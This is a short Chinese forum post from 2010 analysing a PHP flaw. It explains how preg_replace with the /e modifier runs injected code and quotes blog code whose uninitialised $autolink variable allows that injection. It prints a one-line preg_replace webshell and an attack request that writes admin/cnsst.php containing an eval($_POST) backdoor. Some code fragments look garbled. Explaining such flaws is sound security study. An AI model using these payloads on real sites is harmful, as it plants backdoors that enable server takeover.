韩小末 发表于 2010-2-4 16:33:35

浅析一段php漏洞代码

前几天看到一段有意思的代码,记录下。
先介绍下php中一个著名的函数preg_replace,其原形是:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit] )
该函数一个有意思的地方是:只要在第一个参数里出现了/e,而第二个参数可以控制那么我们就可以执行Php代码了:)比如可以根据这个写个一句话马出来了:<?preg_replace(//e,$_GET,'''')?>
下面是我摘抄某blog中的一段代码

@require(''admin/class/autolink.php'');
if(count($autolink) != 0) {
foreach($autolink as $key=>$val)
{
$pattern[] = "/(?<!http:\/\/)(".$val[''keyword''].")(?!+)/i";
$replace[] = "}]\\1";
}
$oneRe[''content''] = preg_replace($pattern,$replace,$oneRe[''content'']);
unset($pattern,$replace);
}

这样的代码是不是很阴险呢?如果使用者为了去处默认连接将admin/class/autolink.php删除,那么$autolink就没有被正确初始化,我们提交
Autolink=//e& Autolink=fputs(fopen('admin/cnsst.php','w+'),'<?@eval($_post)?>')
这样就得到一个admin/cnsst.php的最小马了。
页: [1]
查看完整版本: 浅析一段php漏洞代码